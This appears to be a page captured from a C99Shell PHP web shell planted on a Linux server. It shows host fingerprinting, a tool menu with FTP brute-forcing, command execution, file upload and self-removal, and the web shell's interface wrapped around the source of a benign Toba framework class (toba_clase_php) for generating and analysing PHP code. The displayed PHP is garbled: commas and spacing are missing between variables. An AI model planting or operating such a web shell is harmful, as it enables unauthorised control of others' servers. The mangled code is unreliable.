!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/lib/reflexion/   drwxr-xr-x
Free 14.74 GB of 61.93 GB (23.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_clase_php.php (2.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('lib/reflexion/toba_archivo_php.php');
/**
*  Representa a la EDICION de una CLASE del ambiente. 
*  Tiene capacidades de generacion y analisis MOLDES aportados por la METACLASE del compone
*  @package Varios
*/
class toba_clase_php
{        
    protected 
$archivo;
    protected 
$meta_clase;                //la clase que conoce el contenido de la clase que se esta editando
    
    
function __construct($archivo$meta_clase)
    {
        
$this->meta_clase $meta_clase;
        
$this->archivo $archivo;
    }
    
    function 
nombre()
    {
        return 
$this->meta_clase->get_subclase_nombre();
    }
    
    
//---------------------------------------------------------------
    //-- Generacion de codigo
    //---------------------------------------------------------------

    /**
    *    Informa la lista de metodos a generar
    */
    
function get_lista_metodos_posibles() 
    {
        
$molde_clase $this->meta_clase->get_molde_subclase();
        return 
$molde_clase->get_lista_metodos();
    }

    
/**
    *    Genera la clase
    */
    
function generar($opciones$incluir_comentarios$incluir_separadores=true)
    {
        if (
$this->archivo->esta_vacio()) {
            
$this->archivo->crear_basico();
        }
        
$this->archivo->edicion_inicio();
        
$codigo $this->get_codigo($opciones$incluir_comentarios$incluir_separadores);
        
$this->archivo->insertar($codigo);
        
$this->archivo->edicion_fin();
    }

    function 
get_codigo($opciones$incluir_comentarios$incluir_separadores=true)
    {
        
$existente null;
        if (
$this->archivo->existe() && ! $this->archivo->esta_vacio()) { 
            
$existente $this->archivo->get_codigo_php_puro();
        }
        
$molde_clase $this->meta_clase->get_molde_subclase();
        return 
$molde_clase->get_codigo($existente$opciones$incluir_comentarios$incluir_separadores);
    }
    
    
//---------------------------------------------------------------
    //-- Analisis de codigo
    //---------------------------------------------------------------
    
    
function analizar()
    {
        
toba_editor::iniciar_contexto_proyecto_cargado();
        require_once(
$this->meta_clase->get_clase_archivo());
        
$this->archivo->incluir();        
        try {
            
$molde $this->meta_clase->get_molde_subclase();
            
$molde->set_muestra_analisis(new ReflectionClass($this->nombre()));
            return 
$molde->get_analisis();
        } catch (
Exception $e) {
            echo 
ei_mensaje("No se encuentra la clase ".$this->nombre()." en este archivo.""error");
        }
    }    
}        
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8168 ]--